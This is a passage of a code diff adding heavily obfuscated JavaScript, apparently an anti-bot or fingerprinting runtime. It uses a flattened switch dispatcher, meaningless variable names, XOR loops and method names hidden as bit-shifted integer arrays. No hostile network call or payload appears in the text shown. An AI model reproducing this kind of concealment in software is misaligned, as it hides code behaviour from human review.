_$ue = _$ac; + _$Qe = 2; + _$We = _$ue + _$Qe; + _$ac = _$We + } + _$pe += 28; + break; + case 45: + for (_$nc = 0; _$nc < _$rs; _$nc++) { + _$ue = _$Mf; + _$Qe = _$nc; + _$We = _$df; + _$Ye = Array(_$We); + _$ue[_$Qe] = _$Ye; + for (_$fc = 0; _$fc < _$Mf[_$nc].length; _$fc++) { + _$ue = _$Mf; + _$Qe = _$nc; + _$We = _$ue[_$Qe]; + _$Ye = _$fc; + _$Ue = 0; + _$We[_$Ye] = _$Ue + } + } + _$pe += 42; + break; + case 46: + _$tc = _$BC; + _$pe += 62; + break; + case 47: + if (_$St[6] - _$St[5] > 0) { + _$ue = _$mt; + _$Qe = _$St; + _$We = 3; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue + _$Ye; + _$mt = _$Ue; + _$ue = _$mt; + _$Qe = _$St; + _$We = 2; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue + _$Ye; + _$Oe = _$St; + _$Pe = 5; + _$Ge = _$Oe[_$Pe]; + _$Ee = _$Ue - _$Ge; + _$mt = _$Ee + } else { + _$ue = _$mt; + _$Qe = _$St; + _$We = 6; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue * _$Ye; + _$mt = _$Ue; + _$ue = _$mt; + _$Qe = _$St; + _$We = 2; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue - _$Ye; + _$mt = _$Ue + } + _$pe += 65; + break; + case 48: + _$mt = _$mt * _$St[6]; + _$pe += 50; + break; + case 49: + for (_$ic = 0; _$ic < _$Tf.length; _$ic++) { + _$ue = _$rr; + _$Qe = _$LC; + _$We = _$Tf; + _$Ye = _$ic; + _$Ue = _$We[_$Ye]; + _$ue[_$Qe](_$Ue) + } + _$pe -= 31; + break; + case 50: + _$gc = [7274496, 6422528, 6946816, 6619136, 6488064, 7602176]; + _$pe += 25; + break; + case 51: + if (_$mt - _$St[6]) { + _$ue = _$mt; + _$Qe = _$St; + _$We = 3; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue + _$Ye; + _$mt = _$Ue + } + _$pe += 13; + break; + case 52: + _$oc = _$BC; + case 53: + _$Df = _$Kf; + _$pe -= 33; + break; + case 54: + _$St[8] = _$mt / _$St[4]; + _$pe -= 45; + break; + case 55: + for (_$ic = 0; _$ic < _$Ce.length; _$ic++) { + _$ue = _$Bf; + _$Qe = _$LC; + _$We = _$Cf; + _$Ye = _$ic; + _$Ue = _$We[_$Ye]; + _$Oe = _$Ce; + _$Pe = _$ic; + _$Ge = _$Oe[_$Pe]; + _$Ee = _$Ue ^ _$Ge; + _$ue[_$Qe](_$Ee) + } + _$pe += 1; + break; + case 56: + _$Cf = 0; + _$pe += 4; + break; + case 57: + _$kc = _$de; + _$bc = []; + _$pe += 20; + break; + case 58: + _$er = _$ar; + _$pe -= 4; + break; + case 59: + _$vr = _$vr.p(_$cr); + _$pe -= 8; + break; + case 60: + _$lc = function(_$a, _$e) { + var _$r = _$od; + var _$c = _$wK; + var _$v = _$Es; + var _$s = _$Zj; + var _$n = _$zs; + var _$f = _$Ej; + var _$t = _$pC; + var _$i = _$uC; + var _$o = _$js; + var _$k = _$Ts; + var _$b = _$ms; + var _$l = _$Ss; + var _$h = _$As; + var _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va, _$sa, _$na, _$fa, _$ta, _$ia, _$oa, _$ka, _$ba, _$la, _$ha, _$ga, _$ua, _$pa, _$ya, _$wa, _$da, _$Ma, _$Ia, _$Aa, _$Sa, _$ma, _$Ta, _$ja, _$Ca, _$Da, _$Ka, _$Qa; + _$g = _$a; + _$u = _$PC; + _$p = _$g[_$u]; + _$y = 1; + _$w = _$p < _$y; + if (_$w) { + return + } + _$g = []; + _$d = _$g; + for (_$I = 0; _$I < 10; _$I++) { + _$g = _$d; + _$u = _$LC; + _$p = _$I; + _$y = 6; + _$w = _$p + _$y; + _$g[_$u](_$w) + } + _$g = _$a; + _$u = _$PC; + _$p = _$g[_$u]; + _$y = 1; + _$w = _$p > _$y; + _$Q = _$w && (_$A = _$a, + _$S = 0, + _$m = _$A[_$S], + _$T = _$QA, + _$m !== _$T); + _$W = _$Q || (_$j = _$a, + _$C = _$PC, + _$D = _$j[_$C], + _$K = 1, + _$D === _$K); + _$Y = _$W; + _$g = _$d; + _$u = 4; + _$p = _$g[_$u]; + _$y = _$d; + _$w = 6; + _$Q = _$y[_$w]; + _$W = _$p + _$Q; + _$M = _$W; + _$g = _$M; + _$u = _$d; + _$p = 6; + _$y = _$u[_$p]; + _$w = _$g + _$y; + _$M = _$w; + _$g = _$De; + _$u = _$PC; + _$p = _$g[_$u]; + _$y = 0; + _$w = _$p === _$y; + if (_$w) { + for (_$U = 0; _$U < _$rr.length; _$U++) { + _$g = _$De; + _$u = _$LC; + _$p = _$Bf; + _$y = _$U; + _$w = _$Bf; + _$Q = _$PC; + _$W = _$w[_$Q]; + _$O = _$y % _$W; + _$P = _$p[_$O]; + _$G = _$rr; + _$N = _$U; + _$Z = _$G[_$N]; + _$z = _$P ^ _$Z; + _$g[_$u](_$z) + } + } + _$g = _$M; + _$u = _$d; + _$p = 7; + _$y = _$u[_$p]; + _$w = _$g * _$y; + _$M = _$w; + _$g = _$d; + _$u = 6; + _$p = _$g[_$u]; + _$y = _$d; + _$w = 5; + _$Q = _$y[_$w]; + _$W = _$p - _$Q; + _$O = 0; + _$P = _$W > _$O; + if (_$P) { + _$g = _$M; + _$u = _$d; + _$p = 3; + _$y = _$u[_$p]; + _$w = _$g + _$y; + _$M = _$w; + _$g = _$M; + _$u = _$d; + _$p = 2; + _$y = _$u[_$p]; + _$w = _$g + _$y; + _$Q = _$d; + _$W = 5; + _$O = _$Q[_$W]; + _$P = _$w - _$O; + _$M = _$P + } else { + _$g = _$M; + _$u = _$d; + _$p = 6; + _$y = _$u[_$p]; + _$w = _$g * _$y; + _$M = _$w; + _$g = _$M; + _$u = _$d; + _$p = 2; + _$y = _$u[_$p]; + _$w = _$g - _$y; + _$M = _$w + } + _$g = _$Is; + _$E = _$g; + _$u = 1; + _$R = _$u; + _$g = _$d; + _$u = 8; + _$p = _$M; + _$y = _$d; + _$w = 4; + _$Q = _$y[_$w]; + _$W = _$p / _$Q; + _$g[_$u] = _$W; + _$g = _$M; + _$u = _$d; + _$p = 6; + _$y = _$u[_$p]; + _$w = _$g - _$y; + _$M = _$w; + _$g = _$R; + _$u = 1; + _$p = _$g + _$u; + _$R = _$p; + _$g = _$M; + _$u = _$d; + _$p = 8; + _$y = _$u[_$p]; + _$w = _$g + _$y; + _$M = _$w; + _$g = _$M; + _$u = _$d; + _$p = 4; + _$y = _$u[_$p]; + _$w = _$g / _$y; + _$M = _$w; + _$g = 1; + _$E = _$g; + _$g = _$M; + _$u = _$d; + _$p = 6; + _$y = _$u[_$p]; + _$w = _$g - _$y; + if (_$w) { + _$g = _$M; + _$u = _$d; + _$p = 3; + _$y = _$u[_$p]; + _$w = _$g + _$y; + _$M = _$w + } + _$g = _$M; + _$u = _$d; + _$p = 2; + _$y = _$u[_$p]; + _$w = _$g - _$y; + _$M = _$w; + _$g = _$BC; + _$_ = _$g; + _$g = _$M; + _$u = _$d; + _$p = 6; + _$y = _$u[_$p]; + _$w = _$g * _$y; + _$M = _$w; + _$g = _$d; + _$u = 0; + _$p = _$g[_$u]; + _$L = _$p; + _$g = _$R; + _$E = _$g; + _$g = _$d; + _$u = 8; + _$p = _$g[_$u]; + _$y = _$d; + _$w = 5; + _$Q = _$y[_$w]; + _$W = _$p - _$Q; + _$O = 0; + _$P = _$W > _$O; + if (_$P) { + _$g = _$M; + _$u = _$d; + _$p = 4; + _$y = _$u[_$p]; + _$w = _$g + _$y; + _$M = _$w; + _$g = _$M; + _$u = _$d; + _$p = 6; + _$y = _$u[_$p]; + _$w = _$g + _$y; + _$Q = _$d; + _$W = 5; + _$O = _$Q[_$W]; + _$P = _$w - _$O; + _$M = _$P + } else { + _$g = _$M; + _$u = _$d; + _$p = 0; + _$y = _$u[_$p]; + _$w = _$g * _$y; + _$M = _$w; + _$g = _$M; + _$u = _$d; + _$p = 2; + _$y = _$u[_$p]; + _$w = _$g - _$y; + _$M = _$w + } + _$g = _$d; + _$u = 4; + _$p = _$M; + _$y = _$d; + _$w = 5; + _$Q = _$y[_$w]; + _$W = _$p - _$Q; + _$g[_$u] = _$W; + _$g = 29440; + _$u = 27648; + _$p = 26880; + _$y = 25344; + _$w = 25856; + _$Q = [_$g, _$u, _$p, _$y, _$w]; + _$R = _$Q; + _$g = _$M; + _$u = _$d; + _$p = 2; + _$y = _$u[_$p]; + _$w = _$g - _$y; + _$M = _$w; + _$g = _$M; + _$u = _$d; + _$p = 8; + _$y = _$u[_$p]; + _$w = _$g / _$y; + _$M = _$w; + for (_$V = 0; _$V < _$R.length; _$V++) { + _$g = _$_; + _$u = _$R; + _$p = _$V; + _$y = _$u[_$p]; + _$w = 8; + _$Q = _$y >> _$w; + _$W = _$bW(_$Q); + _$O = _$g + _$W; + _$_ = _$O + } + _$g = _$M; + _$u = _$d; + _$p = 2; + _$y = _$u[_$p]; + _$w = _$g - _$y; + _$M = _$w; + _$g = _$R; + _$u = _$LC; + _$p = _$E; + _$y = _$g[_$u](_$p); + _$R = _$y; + _$g = _$Y; + _$u = _$g; + if (_$u) { + _$A = _$me; + _$S = _$_; + _$m = 0; + _$T = _$e; + _$j = _$A[_$S](_$m, _$T); + _$C = _$RC; + _$D = _$BC; + _$K = _$j[_$C](_$D); + _$q = _$a; + _$H = _$K + _$q; + _$x = _$Se; + _$u = _$H === _$x + } + if (_$u) { + _$g = _$me; + _$u = _$e; + _$p = _$a; + _$g[_$u] = _$p; + _$g = _$b + _$l + _$k + _$o + _$h; + _$B = _$g; + _$u = function(_$a, _$e) { + var _$r = _$Vu; + var _$c = _$DA; + var _$v = _$Uh; + var _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y; + for (_$s = 0; _$s < _$a.length; _$s++) { + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$e; + _$o = _$t === _$i; + if (_$o) { + _$n = _$s; + return _$n + } + } + _$n = []; + _$k = _$n; + _$f = _$c + _$v + _$r; + _$b = _$f; + for (_$l = _$b.length - 1; _$l >= 0; _$l--) { + _$n = _$k; + _$f = _$LC; + _$t = _$b; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$k; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$k = _$i; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 4; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$EC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$k; + _$f = _$b; + _$t = _$n + _$f; + _$y = _$t; + _$n = []; + _$b = _$n; + for (_$l = _$b.length - 1; _$l >= 4; _$l--) { + _$n = _$b; + _$f = _$LC; + _$t = _$y; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$b; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$b = _$i; + _$n = _$zC; + _$b += _$n; + _$n = _$ZC; + _$b += _$n; + _$n = _$_C; + _$b += _$n; + _$n = _$zC; + _$b += _$n; + _$n = _$y; + _$k = _$n; + _$n = _$b; + _$y = _$n; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 7; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$NC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$GC; + _$k += _$n; + _$n = 1; + _$f = -_$n; + return _$f + } + ; + _$X = _$u; + _$p = _$c + _$n + _$v + _$i + _$s + _$f + _$r + _$t; + _$F = _$p; + _$y = _$F; + _$w = _$PC; + _$Q = _$y[_$w]; + _$J = _$Q; + _$W = 0; + _$va = _$W; + _$g = []; + _$sa = _$g; + _$g = _$B; + _$u = _$PC; + _$p = _$g[_$u]; + _$y = 4; + _$w = _$p / _$y; + _$$ = _$w; + for (_$na = 0; _$na < _$$; _$na++) { + _$g = _$F; + _$u = _$B; + _$p = _$_C; + _$y = _$va; + _$w = _$u[_$p](_$y); + _$Q = _$X(_$g, _$w); + _$ca = _$Q; + _$va++; + _$g = _$F; + _$u = _$B; + _$p = _$_C; + _$y = _$va; + _$w = _$u[_$p](_$y); + _$Q = _$X(_$g, _$w); + _$ra = _$Q; + _$va++; + _$g = _$F; + _$u = _$B; + _$p = _$_C; + _$y = _$va; + _$w = _$u[_$p](_$y); + _$Q = _$X(_$g, _$w); + _$ea = _$Q; + _$va++; + _$g = _$F; + _$u = _$B; + _$p = _$_C; + _$y = _$va; + _$w = _$u[_$p](_$y); + _$Q = _$X(_$g, _$w); + _$aa = _$Q; + _$va++; + _$g = _$sa; + _$u = _$na; + _$p = _$ca; + _$y = _$J; + _$w = _$p * _$y; + _$Q = _$J; + _$W = _$w * _$Q; + _$O = _$J; + _$P = _$W * _$O; + _$G = _$ra; + _$N = _$J; + _$Z = _$G * _$N; + _$z = _$J; + _$fa = _$Z * _$z; + _$ta = _$P + _$fa; + _$ia = _$ea; + _$oa = _$J; + _$ka = _$ia * _$oa; + _$ba = _$ta + _$ka; + _$la = _$aa; + _$ha = _$ba + _$la; + _$g[_$u] = _$ha + } + _$g = _$BC; + _$$ = _$g; + for (_$ga = 0; _$ga < _$sa.length; _$ga++) { + _$g = _$sa; + _$u = _$ga; + _$p = _$g[_$u]; + _$y = _$bW(_$p); + _$$ += _$y + } + _$g = _$Te; + _$u = _$LC; + _$p = _$me; + _$y = _$$; + _$w = 0; + _$Q = _$e; + _$W = 1; + _$O = _$Q + _$W; + _$P = _$p[_$y](_$w, _$O); + _$G = _$RC; + _$N = _$BC; + _$Z = _$P[_$G](_$N); + _$g[_$u](_$Z) + } else { + for (_$U = 0; _$U < _$a.length; _$U++) { + _$g = _$Ms; + _$ua = _$g; + _$u = 1; + _$pa = _$u; + _$g = _$pa; + _$u = 1; + _$p = _$g + _$u; + _$pa = _$p; + _$g = 1; + _$ua = _$g; + _$g = _$BC; + _$ya = _$g; + _$g = _$pa; + _$ua = _$g; + _$g = 471040; + _$u = 442368; + _$p = 430080; + _$y = 405504; + _$w = 413696; + _$Q = [_$g, _$u, _$p, _$y, _$w]; + _$pa = _$Q; + for (_$wa = 0; _$wa < _$pa.length; _$wa++) { + _$g = _$ya; + _$u = _$pa; + _$p = _$wa; + _$y = _$u[_$p]; + _$w = 12; + _$Q = _$y >> _$w; + _$W = _$bW(_$Q); + _$O = _$g + _$W; + _$ya = _$O + } + _$g = _$pa; + _$u = _$LC; + _$p = _$ua; + _$y = _$g[_$u](_$p); + _$pa = _$y; + _$g = _$me; + _$u = _$e; + _$p = _$a; + _$y = _$ya; + _$w = 0; + _$Q = _$U; + _$W = 1; + _$O = _$Q + _$W; + _$P = _$p[_$y](_$w, _$O); + _$g[_$u] = _$P; + _$g = _$me; + _$u = _$e; + _$p = 1; + _$y = _$u + _$p; + _$w = _$Zu; + _$g[_$y] = _$w; + _$g = _$ds; + _$da = _$g; + _$u = 1; + _$Ma = _$u; + _$g = _$Ma; + _$u = 1; + _$p = _$g + _$u; + _$Ma = _$p; + _$g = 1; + _$da = _$g; + _$g = _$BC; + _$Ia = _$g; + _$g = _$Ma; + _$da = _$g; + _$g = 942080; + _$u = 884736; + _$p = 860160; + _$y = 811008; + _$w = 827392; + _$Q = [_$g, _$u, _$p, _$y, _$w]; + _$Ma = _$Q; + for (_$Aa = 0; _$Aa < _$Ma.length; _$Aa++) { + _$g = _$Ia; + _$u = _$Ma; + _$p = _$Aa; + _$y = _$u[_$p]; + _$w = 13; + _$Q = _$y >> _$w; + _$W = _$bW(_$Q); + _$O = _$g + _$W; + _$Ia = _$O + } + _$g = _$Ma; + _$u = _$LC; + _$p = _$da; + _$y = _$g[_$u](_$p); + _$Ma = _$y; + _$g = _$a; + _$u = _$Ia; + _$p = _$U; + _$y = 1; + _$w = _$p + _$y; + _$Q = _$g[_$u](_$w); + _$W = _$e; + _$O = 2; + _$P = _$W + _$O; + _$lc(_$Q, _$P); + _$g = _$me; + _$u = _$e; + _$p = 1; + _$y = _$u + _$p; + _$w = _$Ou; + _$g[_$y] = _$w; + _$g = _$ws; + _$Sa = _$g; + _$u = 1; + _$ma = _$u; + _$g = _$ma; + _$u = 1; + _$p = _$g + _$u; + _$ma = _$p; + _$g = 1; + _$Sa = _$g; + _$g = _$BC; + _$Ta = _$g; + _$g = _$ma; + _$Sa = _$g; + _$g = 1840; + _$u = 1728; + _$p = 1680; + _$y = 1584; + _$w = 1616; + _$Q = [_$g, _$u, _$p, _$y, _$w]; + _$ma = _$Q; + for (_$ja = 0; _$ja < _$ma.length; _$ja++) { + _$g = _$Ta; + _$u = _$ma; + _$p = _$ja; + _$y = _$u[_$p]; + _$w = 4; + _$Q = _$y >> _$w; + _$W = _$bW(_$Q); + _$O = _$g + _$W; + _$Ta = _$O + } + _$g = _$ma; + _$u = _$LC; + _$p = _$Sa; + _$y = _$g[_$u](_$p); + _$ma = _$y; + _$g = _$a; + _$u = _$Ta; + _$p = _$U; + _$y = 1; + _$w = _$p + _$y; + _$Q = _$g[_$u](_$w); + _$W = _$e; + _$O = 2; + _$P = _$W + _$O; + _$lc(_$Q, _$P); + _$g = _$me; + _$u = _$e; + _$p = 1; + _$y = _$u + _$p; + _$w = _$zu; + _$g[_$y] = _$w; + _$g = _$ys; + _$Ca = _$g; + _$u = 1; + _$Da = _$u; + _$g = _$Da; + _$u = 1; + _$p = _$g + _$u; + _$Da = _$p; + _$g = 1; + _$Ca = _$g; + _$g = _$BC; + _$Ka = _$g; + _$g = _$Da; + _$Ca = _$g; + _$g = 235520; + _$u = 221184; + _$p = 215040; + _$y = 202752; + _$w = 206848; + _$Q = [_$g, _$u, _$p, _$y, _$w]; + _$Da = _$Q; + for (_$Qa = 0; _$Qa < _$Da.length; _$Qa++) { + _$g = _$Ka; + _$u = _$Da; + _$p = _$Qa; + _$y = _$u[_$p]; + _$w = 11; + _$Q = _$y >> _$w; + _$W = _$bW(_$Q); + _$O = _$g + _$W; + _$Ka = _$O + } + _$g = _$Da; + _$u = _$LC; + _$p = _$Ca; + _$y = _$g[_$u](_$p); + _$Da = _$y; + _$g = _$a; + _$u = _$Ka; + _$p = _$U; + _$y = 1; + _$w = _$p + _$y; + _$Q = _$g[_$u](_$w); + _$W = _$e; + _$O = 2; + _$P = _$W + _$O; + _$lc(_$Q, _$P); + _$g = _$a; + _$u = 0; + _$p = _$g[_$u]; + _$y = _$QA; + _$w = _$p === _$y; + if (_$w) { + break + } + } + } + _$g = _$De; + _$aY = _$g + } + ; + _$pe -= 57; + break; + case 61: + _$mt = _$mt / _$St[8]; + _$pe += 18; + break; + case 62: + _$er = [126, 45, 11, 77, 22, 111, 127, 47, 61, 113, 78, 128, 67, 101, 129, 130, 62, 31, 52, 90, 75, 100, 41, 60, 121, 131, 53, 132, 133, 59, 103, 8, 134, 16, 43, 51, 42, 135, 92, 1, 106, 136, 54, 137, 138, 81, 139, 91, 140, 87, 124, 141, 122, 142, 143, 3, 34, 144, 145, 57, 10, 71, 146, 46, 5, 69, 28, 147, 12, 73, 148, 149, 15, 20, 150, 65, 151, 33, 115, 21, 108, 7, 152, 153, 104, 50, 56, 154, 58, 118, 155, 156, 95, 76, 157, 109, 4, 93, 158, 32, 159, 160, 161, 125, 162, 163, 105, 36, 26, 55, 164, 165, 166, 86, 30, 114, 167, 168, 116, 169, 6, 63, 170, 13, 171, 85, 172, 88, 40, 74, 48, 19, 94, 173, 96, 174, 2, 175, 29, 176, 83, 177, 120, 89, 178, 23, 64, 17, 179, 25, 39, 24, 9, 180, 18, 14, 44, 37, 181, 182, 183, 110, 66, 68, 79, 184, 119, 35, 80, 185, 102, 38, 112, 82, 186, 107, 98, 49, 84, 72, 97, 99, 187, 0, 70, 188, 27, 123, 189, 117]; + _$pe -= 54; + break; + case 63: + _$mt = _$mt * _$St[7]; + _$pe += 26; + break; + case 64: + _$hc = _$ps; + _$gc = 1; + _$pe -= 49; + break; + case 65: + _$uc = _$Ie; + _$pe += 28; + break; + case 66: + _$pc = _$Mf[0][0]; + return; + case 67: + _$Fe = 1; + _$pe += 2; + break; + case 68: + _$mf = [110592, 113664, 101376, 99328, 110592, 84992, 118784, 113664, 116736, 99328, 105472, 103424]; + _$pe -= 21; + break; + case 69: + _$yc = _$BC; + _$pe += 40; + break; + case 70: + for (_$wc = 0, + _$dc = _$xY.length; _$wc < _$dc; ++_$wc) { + _$ue = _$xY; + _$Qe = _$wc; + _$We = _$ue[_$Qe]; + _$Ye = _$bW(_$We); + _$Mc = _$Ye; + _$Ue = _$Eo; + _$Ic = _$Ue; + _$Oe = 1; + _$Ac = _$Oe; + _$ue = _$Ac; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$Ac = _$We; + _$ue = 1; + _$Ic = _$ue; + _$ue = _$BC; + _$Sc = _$ue; + _$ue = _$Ac; + _$Ic = _$ue; + _$ue = 6656; + _$Qe = 6208; + _$We = 7360; + _$Ye = 5056; + _$Ue = 7616; + _$Oe = 7040; + _$Pe = 5120; + _$Ge = 7296; + _$Ee = 7104; + _$Re = 7168; + _$_e = 6464; + _$Le = 7296; + _$Zr = 7424; + _$zr = 7744; + _$Er = [_$ue, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ee, _$Re, _$_e, _$Le, _$Zr, _$zr]; + _$Ac = _$Er; + for (_$mc = 0; _$mc < _$Ac.length; _$mc++) { + _$ue = _$Sc; + _$Qe = _$Ac; + _$We = _$mc; + _$Ye = _$Qe[_$We]; + _$Ue = 6; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$Sc = _$Ge + } + _$ue = _$Ac; + _$Qe = _$LC; + _$We = _$Ic; + _$Ye = _$ue[_$Qe](_$We); + _$Ac = _$Ye; + _$ue = _$Tc; + _$Qe = _$Sc; + _$We = _$Mc; + _$Ye = _$ue[_$Qe](_$We); + if (_$Ye) { + _$ue = _$Tc; + _$Qe = _$Mc; + _$We = _$ue[_$Qe]; + _$jc += _$We + } + } + _$pe -= 9; + break; + case 71: + _$mt = _$mt - _$St[2]; + _$pe -= 5; + break; + case 72: + _$Tc = _$qe; + _$jc = _$BC; + _$pe -= 2; + break; + case 73: + while (_$Hf.length > 0) { + _$ue = _$Vf; + _$Qe = 0; + _$We = _$ue === _$Qe; + if (_$We) { + _$ue = _$Kt; + _$Qe = _$LC; + _$We = _$_f; + _$Ye = _$PC; + _$Ue = _$We[_$Ye]; + _$ue[_$Qe](_$Ue); + for (; _$Vf < _$_f.length; _$Vf++) { + _$ue = _$Kt; + _$Qe = _$LC; + _$We = _$_f; + _$Ye = _$Vf; + _$Ue = _$We[_$Ye]; + _$ue[_$Qe](_$Ue) + } + } + _$ue = _$us; + _$Cc = _$ue; + _$Qe = 1; + _$Dc = _$Qe; + _$ue = _$Dc; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$Dc = _$We; + _$ue = 1; + _$Cc = _$ue; + _$ue = _$BC; + _$Kc = _$ue; + _$ue = _$Dc; + _$Cc = _$ue; + _$ue = 235520; + _$Qe = 212992; + _$We = 215040; + _$Ye = 208896; + _$Ue = 237568; + _$Oe = [_$ue, _$Qe, _$We, _$Ye, _$Ue]; + _$Dc = _$Oe; + for (_$Qc = 0; _$Qc < _$Dc.length; _$Qc++) { + _$ue = _$Kc; + _$Qe = _$Dc; + _$We = _$Qc; + _$Ye = _$Qe[_$We]; + _$Ue = 11; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$Kc = _$Ge + } + _$ue = _$Dc; + _$Qe = _$LC; + _$We = _$Cc; + _$Ye = _$ue[_$Qe](_$We); + _$Dc = _$Ye; + _$ue = _$Hf; + _$Qe = _$Kc; + _$We = _$ue[_$Qe](); + _$Wc = _$We; + _$ue = _$qf; + _$Qe = 0; + _$We = _$ue === _$Qe; + if (_$We) { + for (; _$qf < _$Lf.length; _$qf++) { + _$ue = _$Kt; + _$Qe = _$LC; + _$We = _$Lf; + _$Ye = _$qf; + _$Ue = _$We[_$Ye]; + _$ue[_$Qe](_$Ue) + } + } + _$ue = _$Wc; + _$Qe = 0; + _$We = _$ue[_$Qe]; + _$Ye = _$Lf; + _$Ue = _$We === _$Ye; + if (_$Ue) { + _$ue = _$Wc; + _$Qe = 1; + _$We = _$ue[_$Qe]; + return _$We + } + _$ue = 0; + _$Yc = _$ue; + for (; _$Yc < _$Wc[0].length; _$Yc++) { + _$ue = _$Wc; + _$Qe = 0; + _$We = _$ue[_$Qe]; + _$Ye = _$Yc; + _$Ue = _$We[_$Ye]; + _$Oe = _$Lf; + _$Pe = _$Yc; + _$Ge = _$Oe[_$Pe]; + _$Ee = _$Ue != _$Ge; + if (_$Ee) { + break + } + } + for (_$Uc = _$Yc + 1; _$Uc < _$Wc[0].length; _$Uc++) { + _$ue = _$Wc; + _$Qe = 0; + _$We = _$ue[_$Qe]; + _$Ye = _$Uc; + _$Ue = _$We[_$Ye]; + _$Oe = _$Lf; + _$Pe = _$Yc; + _$Ge = _$Oe[_$Pe]; + _$Ee = _$Ue === _$Ge; + _$Re = _$Ee; + if (_$Re) { + _$lr = _$Wc; + _$hr = 0; + _$Or = _$lr[_$hr]; + _$Pr = _$Uc; + _$Oc = _$Or[_$Pr]; + _$Pc = _$Lf; + _$Gc = _$Uc; + _$Nc = _$Pc[_$Gc]; + _$Re = _$Oc != _$Nc + } + if (_$Re) { + _$ue = _$Wc; + _$Qe = 0; + _$We = _$ue[_$Qe]; + _$Zc = _$We; + _$Ye = _$gs; + _$zc = _$Ye; + _$Ue = 1; + _$Ec = _$Ue; + _$ue = _$Ec; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$Ec = _$We; + _$ue = 1; + _$zc = _$ue; + _$ue = _$BC; + _$Rc = _$ue; + _$ue = _$Ec; + _$zc = _$ue; + _$ue = 1884160; + _$Qe = 1916928; + _$We = 1605632; + _$Ye = 1884160; + _$Ue = 1900544; + _$Oe = 1867776; + _$Pe = 1720320; + _$Ge = 1802240; + _$Ee = 1687552; + _$Re = [_$ue, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ee]; + _$Ec = _$Re; + for (_$_c = 0; _$_c < _$Ec.length; _$_c++) { + _$ue = _$Rc; + _$Qe = _$Ec; + _$We = _$_c; + _$Ye = _$Qe[_$We]; + _$Ue = 14; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$Rc = _$Ge + } + _$ue = _$Ec; + _$Qe = _$LC; + _$We = _$zc; + _$Ye = _$ue[_$Qe](_$We); + _$Ec = _$Ye; + _$ue = _$hs; + _$Lc = _$ue; + _$Qe = 1; + _$Vc = _$Qe; + _$ue = _$Vc; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$Vc = _$We; + _$ue = 1; + _$Lc = _$ue; + _$ue = _$BC; + _$qc = _$ue; + _$ue = _$Vc; + _$Lc = _$ue; + _$ue = 920; + _$Qe = 936; + _$We = 784; + _$Ye = 920; + _$Ue = 928; + _$Oe = 912; + _$Pe = 840; + _$Ge = 880; + _$Ee = 824; + _$Re = [_$ue, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ee]; + _$Vc = _$Re; + for (_$Hc = 0; _$Hc < _$Vc.length; _$Hc++) { + _$ue = _$qc; + _$Qe = _$Vc; + _$We = _$Hc; + _$Ye = _$Qe[_$We]; + _$Ue = 3; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$qc = _$Ge + } + _$ue = _$Vc; + _$Qe = _$LC; + _$We = _$Lc; + _$Ye = _$ue[_$Qe](_$We); + _$Vc = _$Ye; + _$ue = _$c + _$r + _$s + _$v; + _$rv = _$ue; + _$ue = _$rv; + _$Qe = _$PC; + _$We = _$ue[_$Qe]; + _$xc = _$We; + _$ue = []; + _$cv = _$ue; + for (_$vv = 0; _$vv < _$xc; _$vv++) { + _$ue = _$rv; + _$Qe = _$OC; + _$We = _$vv; + _$Ye = _$ue[_$Qe](_$We); + _$Bc = _$Ye; + _$ue = _$Bc; + _$Qe = 65536; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$Bc; + _$hr = 1114111; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 18; + _$Ue = _$We >> _$Ye; + _$Oe = 7; + _$Pe = _$Ue & _$Oe; + _$Ge = 240; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 12; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + 